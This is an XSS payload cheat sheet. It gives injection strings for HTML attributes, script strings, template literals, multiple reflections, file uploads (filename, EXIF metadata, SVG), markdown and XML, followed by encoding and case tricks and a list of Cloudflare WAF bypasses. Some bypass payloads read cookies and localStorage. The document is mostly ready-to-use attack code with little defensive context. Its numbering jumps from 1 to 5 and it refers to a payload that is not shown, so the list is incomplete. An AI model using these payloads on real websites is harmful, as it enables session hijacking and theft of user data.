# XSS Cheat Sheet (Basic)
## Introduction
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack:
- Reflected XSS
Attack where the malicious script runs from another website through the web browser
- Stored XSS
Stored attacks are those where the injected script is permanently stored on the target servers
- DOM-Based XSS
A type of XSS that has payloads found in the DOM rather than within the HTML code.
## Where to find
This vulnerability can appear in all features of the application. If you want to find Dom-based XSS, you can find it by reading the javascript source code.
## How to exploit
1. Basic payload
```html
,,<script>``` and any other HTML tags
```html
</tag><script>alert(1)</script>
"></tag><script>alert(1)</script>
```
* Example source code
```html
<a href="https://target.com/1?status=REFLECTED_HERE">1</a>
```
* After input the payload
```html
<a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>
```
5. Use when input inside an attribute’s value of an HTML tag but > is filtered
```html
" onmouseover=alert(1)
" autofocus onfocus=alert(1)
```
* Example source code
```html
<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
```
* After input the payload
```html
<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">
```
6. Use </script> when input inside ```<script>``` tags
```html
</script><script>alert(1)</script>
```
* Example source code
```html
<script>
var sitekey = 'REFLECTED_HERE';
</script>
```
* After input the payload
```html
<script>
var sitekey = '</script><script>alert(1)</script>';
</script>
```
## **XSS Cheat Sheet (Advanced)**
7. Use when input lands in a script block, inside a string delimited value.
```html
'-alert(1)-'
'/alert(1)//
```
* Example source code
```html
<script>
var sitekey = 'REFLECTED_HERE';
</script>
```
* After input the payload
```html
<script>
var sitekey = ''-alert(1)-'';
</script>
```
8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.
```html
\'alert(1)//
```
* Example source code
```html
<script>
var sitekey = 'REFLECTED_HERE';
</script>
```
* If we input payload '-alert(1)-' it will be like this
```html
<script>
var sitekey = '\'-alert(1)-\'';
</script>
```
The quotes are escaped by a backslash so we need to bypass them
* After input the payload
```html
<script>
var sitekey = '\\'alert(1)//';
</script>
```
9. Use when there’s multi reflection in the same line of JS code
```html
/alert(1)//\
/alert(1)}//\
```
* Example source code
```html
<script>
var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
</script>
```
* After input the payload
```html
<script>
var a = '/alert(1)//\'; var b = '/alert(1)//\';
</script>
```
10. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc).
```html
'}alert(1);{'
\'}alert(1);{//
```
* Example source code
```html
<script>
var greeting;
var time = 1;
if (time < 10) {
test = 'REFLECTED_HERE';
}
</script>
```
* After input the payload
```html
<script>
var test;
var time = 1;
if (time < 10) {
test = ''}alert(1);{'';
}
</script>
```
> Payload number 2 uses when quote escaped by backslash
11. Use when input lands inside backticks delimited strings
```html
${alert(1)}
```
* Example source code
```html
<script>
var dapos = `REFLECTED_HERE`;
</script>
```
* After input the payload
```html
<script>
var dapos = `${alert(1)}`;
</script>
```
12. Uses when there is multiple reflections on same page. (Double Reflection)
```html
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
```
* After input the payload
```html
<!DOCTYPE html>
<html>
<body>
'onload=alert(1)><svg/1='
...
'onload=alert(1)><svg/1='
</body>
</html>
```
13. Uses when there is multiple reflections on same page. (Triple Reflection)
```html
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
```
* After input the payload
```html
<!DOCTYPE html>
<html>
<body>
*/alert(1)">'onload="/*<svg/1='
...
*/alert(1)">'onload="/*<svg/1='
...
*/alert(1)">'onload="/*<svg/1='
</body>
</html>
```
14. XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page
```
"><svg onload=alert(1)>.jpeg
```
15. XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool)
```
$ exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg
```
16. XSS with SVG file (File Upload)
```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
```
17. XSS via markdown
```
[Click Me](javascript:alert('1'))
```
18. XSS in XML page
```
<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>
```
> Add a "-->" to payload if input lands in a comment section
> Add a "]]>" if input lands in a CDATA section
## **XSS Cheat Sheet (Bypass)**
19. Mixed Case
```html
<Script>alert(document.cookie)</Script>
```
20. Unclosed Tags
```html
<svg onload="alert(1)"
```
21. Uppercase Payloads
```html
<SVG ONLOAD=ALERT(1)>
```
22. Encoded XSS
```html
(Encoded)
%3Csvg%20onload%3Dalert(1)%3E
(Double Encoded)
%253Csvg%2520onload%253Dalert%281%29%253E
(Triple Encoded)
%25253Csvg%252520onload%25253Dalert%25281%2529%25253E
```
23. JS Lowercased Input
```html
<SCRİPT>alert(1)</SCRİPT>
```
24. PHP Email Validation Bypass
```html
<svg/onload=alert(1)>"@gmail.com
```
25. PHP URL Validation Bypass
```html
javascript://%250Aalert(1)
```
26. Inside Comments Bypass
```html
<!--><svg onload=alert(1)-->
```
## Bypass WAF
1. Cloudflare
```
<svg%0Aonauxclick=0;[1].some(confirm)//
<svg onload=alert%26%230000000040"")>
<a/href=j a v asc
ri pt:(a l e r t (1))>
<svg onx=() onload=(confirm)(1)>
<svg onx=() onload=(confirm)(document.cookie)>
<svg onx=() onload=(confirm)(JSON.stringify(localStorage))>
Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();
"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();
"><onx=[] onmouseover=prompt(1)>
%2sscript%2ualert()%2s/script%2u -xss popup
<svg onload=alert%26%230000000040"1")>
"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))
[1].map(confirm)'ale'+'rt'()a l e r t(1)prompt(1)prompt(1)prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``)
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
<svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>
<a id=x tabindex=1 onbeforedeactivate=print(`XSS`)></a><input autofocus>
:javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie
<img ignored=() src=x onerror=prompt(1)>
```
## References
- [Brute Logic](https://brutelogic.com.br/)
- Some random twitter posts